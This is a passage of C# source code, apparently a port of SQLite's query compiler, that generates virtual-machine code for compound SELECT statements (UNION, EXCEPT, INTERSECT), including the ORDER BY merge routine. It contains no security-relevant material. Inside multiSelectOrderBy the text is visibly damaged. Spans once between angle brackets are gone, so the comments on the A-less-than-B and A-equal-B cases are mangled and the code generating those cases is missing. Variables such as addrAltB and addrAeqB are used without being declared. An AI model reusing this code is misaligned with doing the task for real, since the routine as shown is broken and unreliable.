pRet; } #endif // * SQLITE_OMIT_COMPOUND_SELECT */ /* Forward reference */ //static int multiSelectOrderBy( // Parse* pParse, /* Parsing context */ // Select* p, /* The right-most of SELECTs to be coded */ // SelectDest* pDest /* What to do with query results */ //); #if !SQLITE_OMIT_COMPOUND_SELECT /* ** This routine is called to process a compound query form from ** two or more separate queries using UNION, UNION ALL, EXCEPT, or ** INTERSECT ** ** "p" points to the right-most of the two queries. the query on the ** left is p.pPrior. The left query could also be a compound query ** in which case this routine will be called recursively. ** ** The results of the total query are to be written into a destination ** of type eDest with parameter iParm. ** ** Example 1: Consider a three-way compound SQL statement. ** ** SELECT a FROM t1 UNION SELECT b FROM t2 UNION SELECT c FROM t3 ** ** This statement is parsed up as follows: ** ** SELECT c FROM t3 ** | ** `----. SELECT b FROM t2 ** | ** `-----. SELECT a FROM t1 ** ** The arrows in the diagram above represent the Select.pPrior pointer. ** So if this routine is called with p equal to the t3 query, then ** pPrior will be the t2 query. p.op will be TK_UNION in this case. ** ** Notice that because of the way SQLite parses compound SELECTs, the ** individual selects always group from left to right. */ static int multiSelect( Parse pParse, /* Parsing context */ Select p, /* The right-most of SELECTs to be coded */ SelectDest pDest /* What to do with query results */ ) { int rc = SQLITE_OK; /* Success code from a subroutine */ Select pPrior; /* Another SELECT immediately to our left */ Vdbe v; /* Generate code to this VDBE */ SelectDest dest = new SelectDest(); /* Alternative data destination */ Select pDelete = null; /* Chain of simple selects to delete */ sqlite3 db; /* Database connection */ /* Make sure there is no ORDER BY or LIMIT clause on prior SELECTs. Only ** the last (right-most) SELECT in the series may have an ORDER BY or LIMIT. */ Debug.Assert( p != null && p.pPrior != null ); /* Calling function guarantees this much */ db = pParse.db; pPrior = p.pPrior; Debug.Assert( pPrior.pRightmost != pPrior ); Debug.Assert( pPrior.pRightmost == p.pRightmost ); dest = pDest; if ( pPrior.pOrderBy != null ) { sqlite3ErrorMsg( pParse, "ORDER BY clause should come after %s not before", selectOpName( p.op ) ); rc = 1; goto multi_select_end; } if ( pPrior.pLimit != null ) { sqlite3ErrorMsg( pParse, "LIMIT clause should come after %s not before", selectOpName( p.op ) ); rc = 1; goto multi_select_end; } v = sqlite3GetVdbe( pParse ); Debug.Assert( v != null ); /* The VDBE already created by calling function */ /* Create the destination temporary table if necessary */ if ( dest.eDest == SRT_EphemTab ) { Debug.Assert( p.pEList != null ); sqlite3VdbeAddOp2( v, OP_OpenEphemeral, dest.iParm, p.pEList.nExpr ); dest.eDest = SRT_Table; } /* Make sure all SELECTs in the statement have the same number of elements ** in their result sets. */ Debug.Assert( p.pEList != null && pPrior.pEList != null ); if ( p.pEList.nExpr != pPrior.pEList.nExpr ) { sqlite3ErrorMsg( pParse, "SELECTs to the left and right of %s" + " do not have the same number of result columns", selectOpName( p.op ) ); rc = 1; goto multi_select_end; } /* Compound SELECTs that have an ORDER BY clause are handled separately. */ if ( p.pOrderBy != null ) { return multiSelectOrderBy( pParse, p, pDest ); } /* Generate code for the left and right SELECT statements. */ switch ( p.op ) { case TK_ALL: { int addr = 0; Debug.Assert( pPrior.pLimit == null ); pPrior.pLimit = p.pLimit; pPrior.pOffset = p.pOffset; rc = sqlite3Select( pParse, pPrior, ref dest ); p.pLimit = null; p.pOffset = null; if ( rc != 0 ) { goto multi_select_end; } p.pPrior = null; p.iLimit = pPrior.iLimit; p.iOffset = pPrior.iOffset; if ( p.iLimit != 0 ) { addr = sqlite3VdbeAddOp1( v, OP_IfZero, p.iLimit ); #if SQLITE_DEBUG VdbeComment( v, "Jump ahead if LIMIT reached" ); #endif } rc = sqlite3Select( pParse, p, ref dest ); testcase( rc != SQLITE_OK ); pDelete = p.pPrior; p.pPrior = pPrior; if ( addr != 0 ) { sqlite3VdbeJumpHere( v, addr ); } break; } case TK_EXCEPT: case TK_UNION: { int unionTab; /* VdbeCursor number of the temporary table holding result */ u8 op = 0; /* One of the SRT_ operations to apply to self */ int priorOp; /* The SRT_ operation to apply to prior selects */ Expr pLimit, pOffset; /* Saved values of p.nLimit and p.nOffset */ int addr; SelectDest uniondest = new SelectDest(); testcase( p.op == TK_EXCEPT ); testcase( p.op == TK_UNION ); priorOp = SRT_Union; if ( dest.eDest == priorOp && ALWAYS( null == p.pLimit && null == p.pOffset ) ) { /* We can reuse a temporary table generated by a SELECT to our ** right. */ Debug.Assert( p.pRightmost != p ); /* Can only happen for leftward elements ** of a 3-way or more compound */ Debug.Assert( p.pLimit == null ); /* Not allowed on leftward elements */ Debug.Assert( p.pOffset == null ); /* Not allowed on leftward elements */ unionTab = dest.iParm; } else { /* We will need to create our own temporary table to hold the ** intermediate results. */ unionTab = pParse.nTab++; Debug.Assert( p.pOrderBy == null ); addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, unionTab, 0 ); Debug.Assert( p.addrOpenEphm[0] == -1 ); p.addrOpenEphm[0] = addr; p.pRightmost.selFlags |= SF_UsesEphemeral; Debug.Assert( p.pEList != null ); } /* Code the SELECT statements to our left */ Debug.Assert( pPrior.pOrderBy == null ); sqlite3SelectDestInit( uniondest, priorOp, unionTab ); rc = sqlite3Select( pParse, pPrior, ref uniondest ); if ( rc != 0 ) { goto multi_select_end; } /* Code the current SELECT statement */ if ( p.op == TK_EXCEPT ) { op = SRT_Except; } else { Debug.Assert( p.op == TK_UNION ); op = SRT_Union; } p.pPrior = null; pLimit = p.pLimit; p.pLimit = null; pOffset = p.pOffset; p.pOffset = null; uniondest.eDest = op; rc = sqlite3Select( pParse, p, ref uniondest ); testcase( rc != SQLITE_OK ); /* Query flattening in sqlite3Select() might refill p.pOrderBy. ** Be sure to delete p.pOrderBy, therefore, to avoid a memory leak. */ sqlite3ExprListDelete( db, ref p.pOrderBy ); pDelete = p.pPrior; p.pPrior = pPrior; p.pOrderBy = null; sqlite3ExprDelete( db, ref p.pLimit ); p.pLimit = pLimit; p.pOffset = pOffset; p.iLimit = 0; p.iOffset = 0; /* Convert the data in the temporary table into whatever form ** it is that we currently need. */ Debug.Assert( unionTab == dest.iParm || dest.eDest != priorOp ); if ( dest.eDest != priorOp ) { int iCont, iBreak, iStart; Debug.Assert( p.pEList != null ); if ( dest.eDest == SRT_Output ) { Select pFirst = p; while ( pFirst.pPrior != null ) pFirst = pFirst.pPrior; generateColumnNames( pParse, null, pFirst.pEList ); } iBreak = sqlite3VdbeMakeLabel( v ); iCont = sqlite3VdbeMakeLabel( v ); computeLimitRegisters( pParse, p, iBreak ); sqlite3VdbeAddOp2( v, OP_Rewind, unionTab, iBreak ); iStart = sqlite3VdbeCurrentAddr( v ); selectInnerLoop( pParse, p, p.pEList, unionTab, p.pEList.nExpr, null, -1, dest, iCont, iBreak ); sqlite3VdbeResolveLabel( v, iCont ); sqlite3VdbeAddOp2( v, OP_Next, unionTab, iStart ); sqlite3VdbeResolveLabel( v, iBreak ); sqlite3VdbeAddOp2( v, OP_Close, unionTab, 0 ); } break; } default: Debug.Assert( p.op == TK_INTERSECT ); { int tab1, tab2; int iCont, iBreak, iStart; Expr pLimit, pOffset; int addr; SelectDest intersectdest = new SelectDest(); int r1; /* INTERSECT is different from the others since it requires ** two temporary tables. Hence it has its own case. Begin ** by allocating the tables we will need. */ tab1 = pParse.nTab++; tab2 = pParse.nTab++; Debug.Assert( p.pOrderBy == null ); addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, tab1, 0 ); Debug.Assert( p.addrOpenEphm[0] == -1 ); p.addrOpenEphm[0] = addr; p.pRightmost.selFlags |= SF_UsesEphemeral; Debug.Assert( p.pEList != null ); /* Code the SELECTs to our left into temporary table "tab1". */ sqlite3SelectDestInit( intersectdest, SRT_Union, tab1 ); rc = sqlite3Select( pParse, pPrior, ref intersectdest ); if ( rc != 0 ) { goto multi_select_end; } /* Code the current SELECT into temporary table "tab2" */ addr = sqlite3VdbeAddOp2( v, OP_OpenEphemeral, tab2, 0 ); Debug.Assert( p.addrOpenEphm[1] == -1 ); p.addrOpenEphm[1] = addr; p.pPrior = null; pLimit = p.pLimit; p.pLimit = null; pOffset = p.pOffset; p.pOffset = null; intersectdest.iParm = tab2; rc = sqlite3Select( pParse, p, ref intersectdest ); testcase( rc != SQLITE_OK ); p.pPrior = pPrior; sqlite3ExprDelete( db, ref p.pLimit ); p.pLimit = pLimit; p.pOffset = pOffset; /* Generate code to take the intersection of the two temporary ** tables. */ Debug.Assert( p.pEList != null ); if ( dest.eDest == SRT_Output ) { Select pFirst = p; while ( pFirst.pPrior != null ) pFirst = pFirst.pPrior; generateColumnNames( pParse, null, pFirst.pEList ); } iBreak = sqlite3VdbeMakeLabel( v ); iCont = sqlite3VdbeMakeLabel( v ); computeLimitRegisters( pParse, p, iBreak ); sqlite3VdbeAddOp2( v, OP_Rewind, tab1, iBreak ); r1 = sqlite3GetTempReg( pParse ); iStart = sqlite3VdbeAddOp2( v, OP_RowKey, tab1, r1 ); sqlite3VdbeAddOp3( v, OP_NotFound, tab2, iCont, r1 ); sqlite3ReleaseTempReg( pParse, r1 ); selectInnerLoop( pParse, p, p.pEList, tab1, p.pEList.nExpr, null, -1, dest, iCont, iBreak ); sqlite3VdbeResolveLabel( v, iCont ); sqlite3VdbeAddOp2( v, OP_Next, tab1, iStart ); sqlite3VdbeResolveLabel( v, iBreak ); sqlite3VdbeAddOp2( v, OP_Close, tab2, 0 ); sqlite3VdbeAddOp2( v, OP_Close, tab1, 0 ); break; } } /* Compute collating sequences used by ** temporary tables needed to implement the compound select. ** Attach the KeyInfo structure to all temporary tables. ** ** This section is run by the right-most SELECT statement only. ** SELECT statements to the left always skip this part. The right-most ** SELECT might also skip this part if it has no ORDER BY clause and ** no temp tables are required. */ if ( ( p.selFlags & SF_UsesEphemeral ) != 0 ) { int i; /* Loop counter */ KeyInfo pKeyInfo; /* Collating sequence for the result set */ Select pLoop; /* For looping through SELECT statements */ CollSeq apColl; /* For looping through pKeyInfo.aColl[] */ int nCol; /* Number of columns in result set */ Debug.Assert( p.pRightmost == p ); nCol = p.pEList.nExpr; pKeyInfo = new KeyInfo(); //sqlite3DbMallocZero(db, pKeyInfo.aColl = new CollSeq[nCol]; //sizeof(*pKeyInfo)+nCol*(CollSeq*.Length + 1)); if ( pKeyInfo == null ) { rc = SQLITE_NOMEM; goto multi_select_end; } pKeyInfo.enc = db.aDbStatic[0].pSchema.enc;// ENC( pParse.db ); pKeyInfo.nField = (u16)nCol; for ( i = 0 ; i < nCol ; i++ ) {//, apColl++){ apColl = multiSelectCollSeq( pParse, p, i ); if ( null == apColl ) { apColl = db.pDfltColl; } pKeyInfo.aColl[i] = apColl; } for ( pLoop = p ; pLoop != null ; pLoop = pLoop.pPrior ) { for ( i = 0 ; i < 2 ; i++ ) { int addr = pLoop.addrOpenEphm[i]; if ( addr < 0 ) { /* If [0] is unused then [1] is also unused. So we can ** always safely abort as soon as the first unused slot is found */ Debug.Assert( pLoop.addrOpenEphm[1] < 0 ); break; } sqlite3VdbeChangeP2( v, addr, nCol ); sqlite3VdbeChangeP4( v, addr, pKeyInfo, P4_KEYINFO ); pLoop.addrOpenEphm[i] = -1; } } //sqlite3DbFree( db, ref pKeyInfo ); } multi_select_end: pDest.iMem = dest.iMem; pDest.nMem = dest.nMem; sqlite3SelectDelete( db, ref pDelete ); return rc; } #endif // * SQLITE_OMIT_COMPOUND_SELECT */ /* ** Code an output subroutine for a coroutine implementation of a ** SELECT statment. ** ** The data to be output is contained in pIn.iMem. There are ** pIn.nMem columns to be output. pDest is where the output should ** be sent. ** ** regReturn is the number of the register holding the subroutine ** return address. ** ** If regPrev>0 then it is a the first register in a vector that ** records the previous output. mem[regPrev] is a flag that is false ** if there has been no previous output. If regPrev>0 then code is ** generated to suppress duplicates. pKeyInfo is used for comparing ** keys. ** ** If the LIMIT found in p.iLimit is reached, jump immediately to ** iBreak. */ static int generateOutputSubroutine( Parse pParse, /* Parsing context */ Select p, /* The SELECT statement */ SelectDest pIn, /* Coroutine supplying data */ SelectDest pDest, /* Where to send the data */ int regReturn, /* The return address register */ int regPrev, /* Previous result register. No uniqueness if 0 */ KeyInfo pKeyInfo, /* For comparing with previous entry */ int p4type, /* The p4 type for pKeyInfo */ int iBreak /* Jump here if we hit the LIMIT */ ) { Vdbe v = pParse.pVdbe; int iContinue; int addr; addr = sqlite3VdbeCurrentAddr( v ); iContinue = sqlite3VdbeMakeLabel( v ); /* Suppress duplicates for UNION, EXCEPT, and INTERSECT */ if ( regPrev != 0 ) { int j1, j2; j1 = sqlite3VdbeAddOp1( v, OP_IfNot, regPrev ); j2 = sqlite3VdbeAddOp4( v, OP_Compare, pIn.iMem, regPrev + 1, pIn.nMem, pKeyInfo, p4type ); sqlite3VdbeAddOp3( v, OP_Jump, j2 + 2, iContinue, j2 + 2 ); sqlite3VdbeJumpHere( v, j1 ); sqlite3ExprCodeCopy( pParse, pIn.iMem, regPrev + 1, pIn.nMem ); sqlite3VdbeAddOp2( v, OP_Integer, 1, regPrev ); } //if ( pParse.db.mallocFailed != 0 ) return 0; /* Suppress the the first OFFSET entries if there is an OFFSET clause */ codeOffset( v, p, iContinue ); switch ( pDest.eDest ) { /* Store the result as data using a unique key. */ case SRT_Table: case SRT_EphemTab: { int r1 = sqlite3GetTempReg( pParse ); int r2 = sqlite3GetTempReg( pParse ); testcase( pDest.eDest == SRT_Table ); testcase( pDest.eDest == SRT_EphemTab ); sqlite3VdbeAddOp3( v, OP_MakeRecord, pIn.iMem, pIn.nMem, r1 ); sqlite3VdbeAddOp2( v, OP_NewRowid, pDest.iParm, r2 ); sqlite3VdbeAddOp3( v, OP_Insert, pDest.iParm, r1, r2 ); sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); sqlite3ReleaseTempReg( pParse, r2 ); sqlite3ReleaseTempReg( pParse, r1 ); break; } #if !SQLITE_OMIT_SUBQUERY /* If we are creating a set for an "expr IN (SELECT ...)" construct, ** then there should be a single item on the stack. Write this ** item into the set table with bogus data. */ case SRT_Set: { int r1; Debug.Assert( pIn.nMem == 1 ); p.affinity = sqlite3CompareAffinity( p.pEList.a[0].pExpr, pDest.affinity ); r1 = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp4( v, OP_MakeRecord, pIn.iMem, 1, r1, p.affinity, 1 ); sqlite3ExprCacheAffinityChange( pParse, pIn.iMem, 1 ); sqlite3VdbeAddOp2( v, OP_IdxInsert, pDest.iParm, r1 ); sqlite3ReleaseTempReg( pParse, r1 ); break; } #if FALSE //* Never occurs on an ORDER BY query */ /* If any row exist in the result set, record that fact and abort. */ case SRT_Exists: { sqlite3VdbeAddOp2(v, OP_Integer, 1, pDest.iParm); /* The LIMIT clause will terminate the loop for us */ break; } #endif /* If this is a scalar select that is part of an expression, then ** store the results in the appropriate memory cell and break out ** of the scan loop. */ case SRT_Mem: { Debug.Assert( pIn.nMem == 1 ); sqlite3ExprCodeMove( pParse, pIn.iMem, pDest.iParm, 1 ); /* The LIMIT clause will jump out of the loop for us */ break; } #endif //* #if !SQLITE_OMIT_SUBQUERY */ /* The results are stored in a sequence of registers ** starting at pDest.iMem. Then the co-routine yields. */ case SRT_Coroutine: { if ( pDest.iMem == 0 ) { pDest.iMem = sqlite3GetTempRange( pParse, pIn.nMem ); pDest.nMem = pIn.nMem; } sqlite3ExprCodeMove( pParse, pIn.iMem, pDest.iMem, pDest.nMem ); sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm ); break; } /* If none of the above, then the result destination must be ** SRT_Output. This routine is never called with any other ** destination other than the ones handled above or SRT_Output. ** ** For SRT_Output, results are stored in a sequence of registers. ** Then the OP_ResultRow opcode is used to cause sqlite3_step() to ** return the next row of result. */ default: { Debug.Assert( pDest.eDest == SRT_Output ); sqlite3VdbeAddOp2( v, OP_ResultRow, pIn.iMem, pIn.nMem ); sqlite3ExprCacheAffinityChange( pParse, pIn.iMem, pIn.nMem ); break; } } /* Jump to the end of the loop if the LIMIT is reached. */ if ( p.iLimit != 0 ) { sqlite3VdbeAddOp2( v, OP_AddImm, p.iLimit, -1 ); sqlite3VdbeAddOp2( v, OP_IfZero, p.iLimit, iBreak ); } /* Generate the subroutine return */ sqlite3VdbeResolveLabel( v, iContinue ); sqlite3VdbeAddOp1( v, OP_Return, regReturn ); return addr; } /* ** Alternative compound select code generator for cases when there ** is an ORDER BY clause. ** ** We assume a query of the following form: ** ** ORDER BY ** ** is one of UNION ALL, UNION, EXCEPT, or INTERSECT. The idea ** is to code both and with the ORDER BY clause as ** co-routines. Then run the co-routines in parallel and merge the results ** into the output. In addition to the two coroutines (called selectA and ** selectB) there are 7 subroutines: ** ** outA: Move the output of the selectA coroutine into the output ** of the compound query. ** ** outB: Move the output of the selectB coroutine into the output ** of the compound query. (Only generated for UNION and ** UNION ALL. EXCEPT and INSERTSECT never output a row that ** appears only in B.) ** ** AltB: Called when there is data from both coroutines and AB. ** ** EofA: Called when data is exhausted from selectA. ** ** EofB: Called when data is exhausted from selectB. ** ** The implementation of the latter five subroutines depend on which ** is used: ** ** ** UNION ALL UNION EXCEPT INTERSECT ** ------------- ----------------- -------------- ----------------- ** AltB: outA, nextA outA, nextA outA, nextA nextA ** ** AeqB: outA, nextA nextA nextA outA, nextA ** ** AgtB: outB, nextB outB, nextB nextB nextB ** ** EofA: outB, nextB outB, nextB halt halt ** ** EofB: outA, nextA outA, nextA outA, nextA halt ** ** In the AltB, AeqB, and AgtB subroutines, an EOF on A following nextA ** causes an immediate jump to EofA and an EOF on B following nextB causes ** an immediate jump to EofB. Within EofA and EofB, and EOF on entry or ** following nextX causes a jump to the end of the select processing. ** ** Duplicate removal in the UNION, EXCEPT, and INTERSECT cases is handled ** within the output subroutine. The regPrev register set holds the previously ** output value. A comparison is made against this value and the output ** is skipped if the next results would be the same as the previous. ** ** The implementation plan is to implement the two coroutines and seven ** subroutines first, then put the control logic at the bottom. Like this: ** ** goto Init ** coA: coroutine for left query (A) ** coB: coroutine for right query (B) ** outA: output one row of A ** outB: output one row of B (UNION and UNION ALL only) ** EofA: ... ** EofB: ... ** AltB: ... ** AeqB: ... ** AgtB: ... ** Init: initialize coroutine registers ** yield coA ** if eof(A) goto EofA ** yield coB ** if eof(B) goto EofB ** Cmpr: Compare A, B ** Jump AltB, AeqB, AgtB ** End: ... ** ** We call AltB, AeqB, AgtB, EofA, and EofB "subroutines" but they are not ** actually called using Gosub and they do not Return. EofA and EofB loop ** until all data is exhausted then jump to the "end" labe. AltB, AeqB, ** and AgtB jump to either L2 or to one of EofA or EofB. */ #if !SQLITE_OMIT_COMPOUND_SELECT static int multiSelectOrderBy( Parse pParse, /* Parsing context */ Select p, /* The right-most of SELECTs to be coded */ SelectDest pDest /* What to do with query results */ ) { int i, j; /* Loop counters */ Select pPrior; /* Another SELECT immediately to our left */ Vdbe v; /* Generate code to this VDBE */ SelectDest destA = new SelectDest(); /* Destination for coroutine A */ SelectDest destB = new SelectDest(); /* Destination for coroutine B */ int regAddrA; /* Address register for select-A coroutine */ int regEofA; /* Flag to indicate when select-A is complete */ int regAddrB; /* Address register for select-B coroutine */ int regEofB; /* Flag to indicate when select-B is complete */ int addrSelectA; /* Address of the select-A coroutine */ int addrSelectB; /* Address of the select-B coroutine */ int regOutA; /* Address register for the output-A subroutine */ int regOutB; /* Address register for the output-B subroutine */ int addrOutA; /* Address of the output-A subroutine */ int addrOutB = 0; /* Address of the output-B subroutine */ int addrEofA; /* Address of the select-A-exhausted subroutine */ int addrEofB; /* Address of the select-B-exhausted subroutine */ int addrAltB; /* Address of the AB subroutine */ int regLimitA; /* Limit register for select-A */ int regLimitB; /* Limit register for select-A */ int regPrev; /* A range of registers to hold previous output */ int savedLimit; /* Saved value of p.iLimit */ int savedOffset; /* Saved value of p.iOffset */ int labelCmpr; /* Label for the start of the merge algorithm */ int labelEnd; /* Label for the end of the overall SELECT stmt */ int j1; /* Jump instructions that get retargetted */ int op; /* One of TK_ALL, TK_UNION, TK_EXCEPT, TK_INTERSECT */ KeyInfo pKeyDup = null; /* Comparison information for duplicate removal */ KeyInfo pKeyMerge; /* Comparison information for merging rows */ sqlite3 db; /* Database connection */ ExprList pOrderBy; /* The ORDER BY clause */ int nOrderBy; /* Number of terms in the ORDER BY clause */ int[] aPermute; /* Mapping from ORDER BY terms to result set columns */ Debug.Assert( p.pOrderBy != null ); Debug.Assert( pKeyDup == null ); /* "Managed" code needs this. Ticket #3382. */ db = pParse.db; v = pParse.pVdbe; Debug.Assert( v != null ); /* Already thrown the error if VDBE alloc failed */ labelEnd = sqlite3VdbeMakeLabel( v ); labelCmpr = sqlite3VdbeMakeLabel( v ); /* Patch up the ORDER BY clause */ op = p.op; pPrior = p.pPrior; Debug.Assert( pPrior.pOrderBy == null ); pOrderBy = p.pOrderBy; Debug.Assert( pOrderBy != null ); nOrderBy = pOrderBy.nExpr; /* For operators other than UNION ALL we have to make sure that ** the ORDER BY clause covers every term of the result set. Add ** terms to the ORDER BY clause as necessary. */ if ( op != TK_ALL ) { for ( i = 1 ; /* db.mallocFailed == 0 && */ i <= p.pEList.nExpr ; i++ ) { ExprList_item pItem; for ( j = 0 ; j < nOrderBy ; j++ )//, pItem++) { pItem = pOrderBy.a[j]; Debug.Assert( pItem.iCol > 0 ); if ( pItem.iCol == i ) break; } if ( j == nOrderBy ) { Expr pNew = sqlite3Expr( db, TK_INTEGER, null ); if ( pNew == null ) return SQLITE_NOMEM; pNew.flags |= EP_IntValue; pNew.u.iValue = i; pOrderBy = sqlite3ExprListAppend( pParse, pOrderBy, pNew ); pOrderBy.a[nOrderBy++].iCol = (u16)i; } } } /* Compute the comparison permutation and keyinfo that is used with ** the permutation used to determine if the next ** row of results comes from selectA or selectB. Also add explicit ** collations to the ORDER BY clause terms so that when the subqueries ** to the right and the left are evaluated, they use the correct ** collation. */ aPermute = new int[nOrderBy];// sqlite3DbMallocRaw( db, sizeof( int ) * nOrderBy ); if ( aPermute != null ) { ExprList_item pItem; for ( i = 0 ; i < nOrderBy ; i++ )//, pItem++) { pItem = pOrderBy.a[i]; Debug.Assert( pItem.iCol > 0 && pItem.iCol <= p.pEList.nExpr ); aPermute[i] = pItem.iCol - 1; } pKeyMerge = new KeyInfo();// sqlite3DbMallocRaw(db, sizeof(*pKeyMerge)+nOrderBy*(sizeof(CollSeq*)+1)); if ( pKeyMerge != null ) { pKeyMerge.aColl = new CollSeq[nOrderBy]; pKeyMerge.aSortOrder = new byte[nOrderBy];//(u8*)&pKeyMerge.aColl[nOrderBy]; pKeyMerge.nField = (u16)nOrderBy; pKeyMerge.enc = ENC( db ); for ( i = 0 ; i < nOrderBy ; i++ ) { CollSeq pColl; Expr pTerm = pOrderBy.a[i].pExpr; if ( ( pTerm.flags & EP_ExpCollate ) != 0 ) { pColl = pTerm.pColl; } else { pColl = multiSelectCollSeq( pParse, p, aPermute[i] ); pTerm.flags |= EP_ExpCollate; pTerm.pColl = pColl; } pKeyMerge.aColl[i] = pColl; pKeyMerge.aSortOrder[i] = (byte)pOrderBy.a[i].sortOrder; } } } else { pKeyMerge = null; } /* Reattach the ORDER BY clause to the query. */ p.pOrderBy = pOrderBy; pPrior.pOrderBy = sqlite3ExprListDup( pParse.db, pOrderBy, 0 ); /* Allocate a range of temporary registers and the KeyInfo needed ** for the logic that removes duplicate result rows when the ** operator is UNION, EXCEPT, or INTERSECT (but not UNION ALL). */ if ( op == TK_ALL ) { regPrev = 0; } else { int nExpr = p.pEList.nExpr; Debug.Assert( nOrderBy >= nExpr /*|| db.mallocFailed != 0 */ ); regPrev = sqlite3GetTempRange( pParse, nExpr + 1 ); sqlite3VdbeAddOp2( v, OP_Integer, 0, regPrev ); pKeyDup = new KeyInfo();//sqlite3DbMallocZero(db, //sizeof(*pKeyDup) + nExpr*(sizeof(CollSeq*)+1) ); if ( pKeyDup != null ) { pKeyDup.aColl = new CollSeq[nExpr]; pKeyDup.aSortOrder = new byte[nExpr];//(u8*)&pKeyDup.aColl[nExpr]; pKeyDup.nField = (u16)nExpr; pKeyDup.enc = ENC( db ); for ( i = 0 ; i < nExpr ; i++ ) { pKeyDup.aColl[i] = multiSelectCollSeq( pParse, p, i ); pKeyDup.aSortOrder[i] = 0; } } } /* Separate the left and the right query from one another */ p.pPrior = null; pPrior.pRightmost = null; sqlite3ResolveOrderGroupBy( pParse, p, p.pOrderBy, "ORDER" ); if ( pPrior.pPrior == null ) { sqlite3ResolveOrderGroupBy( pParse, pPrior, pPrior.pOrderBy, "ORDER" ); } /* Compute the limit registers */ computeLimitRegisters( pParse, p, labelEnd ); if ( p.iLimit != 0 && op == TK_ALL ) { regLimitA = ++pParse.nMem; regLimitB = ++pParse.nMem; sqlite3VdbeAddOp2( v, OP_Copy, ( p.iOffset != 0 ) ? p.iOffset + 1 : p.iLimit, regLimitA ); sqlite3VdbeAddOp2( v, OP_Copy, regLimitA, regLimitB ); } else { regLimitA = regLimitB = 0; } sqlite3ExprDelete( db, ref p.pLimit ); p.pLimit = null; sqlite3ExprDelete( db, ref p.pOffset ); p.pOffset = null; regAddrA = ++pParse.nMem; regEofA = ++pParse.nMem; regAddrB = ++pParse.nMem; regEofB = ++pParse.nMem; regOutA = ++pParse.nMem; regOutB = ++pParse.nMem; sqlite3SelectDestInit( destA, SRT_Coroutine, regAddrA ); sqlite3SelectDestInit( destB, SRT_Coroutine, regAddrB ); /* Jump past the various subroutines and coroutines to the main ** merge loop */ j1 = sqlite3VdbeAddOp0( v, OP_Goto ); addrSelectA = sqlite3VdbeCurrentAddr( v ); /* Generate a coroutine to evaluate the SELECT statement to the ** left of the compound operator - the "A" select. */ VdbeNoopComment( v, "Begin coroutine for left SELECT" ); pPrior.iLimit = regLimitA; sqlite3Select( pParse, pPrior, ref destA ); sqlite3VdbeAddOp2( v, OP_Integer, 1, regEofA ); sqlite3VdbeAddOp1( v, OP_Yield, regAddrA ); VdbeNoopComment( v, "End coroutine for left SELECT" ); /* Generate a coroutine to evaluate the SELECT statement on ** the right - the "B" select */ addrSelectB = sqlite3VdbeCurrentAddr( v ); VdbeNoopComment( v, "Begin coroutine for right SELECT" ); savedLimit = p.iLimit; savedOffset = p.iOffset; p.iLimit = regLimitB; p.iOffset = 0; sqlite3Select( pParse, p, ref destB ); p.iLimit = savedLimit; p.iOffset = savedOffset; sqlite3VdbeAddOp2( v, OP_Integer, 1, regEofB ); sqlite3VdbeAddOp1( v, OP_Yield, regAddrB ); VdbeNoopComment( v, "End coroutine for right SELECT" ); /* Generate a subroutine that outputs the current row of the A ** select as the next output row of the compound select. */ VdbeNoopComment( v, "Output routine for A" ); addrOutA = generateOutputSubroutine( pParse, p, destA, pDest, regOutA, regPrev, pKeyDup, P4_KEYINFO_HANDOFF, labelEnd ); /* Generate a subroutine that outputs the current row of the B ** select as the next output row of the compound select. */ if ( op == TK_ALL || op == TK_UNION ) { VdbeNoopComment( v, "Output routine for B" ); addrOutB = generateOutputSubroutine( pParse, p, destB, pDest, regOutB, regPrev, pKeyDup, P4_KEYINFO_STATIC, labelEnd ); } /* Generate a subroutine to run when the results from select A ** are exhausted and only data in select B remains. */ VdbeNoopComment( v, "eof-A subroutine" ); if ( op == TK_EXCEPT || op == TK_INTERSECT ) { addrEofA = sqlite3VdbeAddOp2( v, OP_Goto, 0, labelEnd ); } else { addrEofA = sqlite3VdbeAddOp2( v, OP_If, regEofB, labelEnd ); sqlite3VdbeAddOp2( v, OP_Gosub, regOutB, addrOutB ); sqlite3VdbeAddOp1( v, OP_Yield, regAddrB ); sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEofA ); } /* Generate a subroutine to run when the results from select B ** are exhausted and only data in select A remains. */ if ( op == TK_INTERSECT ) { addrEofB = addrEofA; } else { VdbeNoopComment( v, "eof-B subroutine" ); addrEofB = sqlite3VdbeAddOp2( v, OP_If, regEofA, labelEnd ); sqlite3VdbeAddOp2( v, OP_Gosub, regOutA, addrOutA ); sqlite3VdbeAddOp1( v, OP_Yield, regAddrA ); sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEofB ); } /* Generate code to handle the case of AB */ VdbeNoopComment( v, "A-gt-B subroutine" ); addrAgtB = sqlite3VdbeCurrentAddr( v ); if ( op == TK_ALL || op == TK_UNION ) { sqlite3VdbeAddOp2( v, OP_Gosub, regOutB, addrOutB ); } sqlite3VdbeAddOp1( v, OP_Yield, regAddrB ); sqlite3VdbeAddOp2( v, OP_If, regEofB, addrEofB ); sqlite3VdbeAddOp2( v, OP_Goto, 0, labelCmpr ); /* This code runs once to initialize everything. */ sqlite3VdbeJumpHere( v, j1 ); sqlite3VdbeAddOp2( v, OP_Integer, 0, regEofA ); sqlite3VdbeAddOp2( v, OP_Integer, 0, regEofB ); sqlite3VdbeAddOp2( v, OP_Gosub, regAddrA, addrSelectA ); sqlite3VdbeAddOp2( v, OP_Gosub, regAddrB, addrSelectB ); sqlite3VdbeAddOp2( v, OP_If, regEofA, addrEofA ); sqlite3VdbeAddOp2( v, OP_If, regEofB, addrEofB ); /* Implement the main merge loop */ sqlite3VdbeResolveLabel( v, labelCmpr ); sqlite3VdbeAddOp4( v, OP_Permutation, 0, 0, 0, aPermute, P4_INTARRAY ); sqlite3VdbeAddOp4( v, OP_Compare, destA.iMem, destB.iMem, nOrderBy, pKeyMerge, P4_KEYINFO_HANDOFF ); sqlite3VdbeAddOp3( v, OP_Jump, addrAltB, addrAeqB, addrAgtB ); /* Release temporary registers */ if ( regPrev != 0 ) { sqlite3ReleaseTempRange( pParse, regPrev, nOrderBy + 1 ); } /* Jump to the this point in order to terminate the query. */ sqlite3VdbeResolveLabel( v, labelEnd ); /* Set the number of output columns */ if ( pDest.eDest == SRT_Output ) { Select pFirst = pPrior; while ( pFirst.pPrior != null ) pFirst = pFirst.pPrior; generateColumnNames( pParse, null, pFirst.pEList ); } /* 